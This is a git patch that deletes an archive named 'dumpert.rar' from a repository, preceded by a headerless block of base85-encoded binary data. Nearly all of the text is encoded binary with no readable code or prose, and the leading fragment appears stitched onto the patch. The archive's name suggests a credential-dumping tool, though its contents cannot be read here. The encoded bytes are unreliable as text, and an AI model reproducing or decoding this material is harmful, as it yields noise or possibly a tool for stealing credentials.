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 Z;giimG6xMZ(+=xdNXmKt^e*wnH^ From ef5c7f8ab7f3f9d58d7ac3928509b197de5c7165 Mon Sep 17 00:00:00 2001 From: Kuni <63074533+PorLaCola25@users.noreply.github.com> Date: Tue, 10 Nov 2020 21:06:21 -0300 Subject: [PATCH 4/5] Delete dumpert.rar --- dumpert.rar | Bin 61716 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 dumpert.rar diff --git a/dumpert.rar b/dumpert.rar deleted file mode 100644 index 4900ba4e3947f2b3967671c42f63b45473298408..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 61716 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 